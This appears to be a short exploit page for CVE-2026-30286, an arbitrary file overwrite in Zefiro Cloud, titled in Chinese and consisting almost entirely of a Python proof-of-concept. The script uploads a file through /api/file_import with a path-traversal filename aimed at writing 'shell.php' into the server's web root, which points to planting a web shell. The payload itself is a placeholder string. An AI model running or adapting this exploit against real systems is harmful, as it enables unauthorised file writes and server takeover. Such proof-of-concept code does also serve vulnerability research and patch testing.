CVE-2026-30286 Zefiro Cloud任意文件覆盖漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-30286: Arbitrary File Overwrite via File Import This script attempts to upload a file to a sensitive path. """ # The vulnerable endpoint for file import upload_url = f"{target_url}/api/file_import" # Malicious content to be written to the server data = "MALICIOUS_CODE_CONTENT" # Constructing a filename with path traversal to overwrite a critical file # Example: Overwriting a configuration file or script files = { 'file': ('../../../../../var/www/html/shell.php', data, 'text/plain') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File potentially overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-target:port" exploit(target)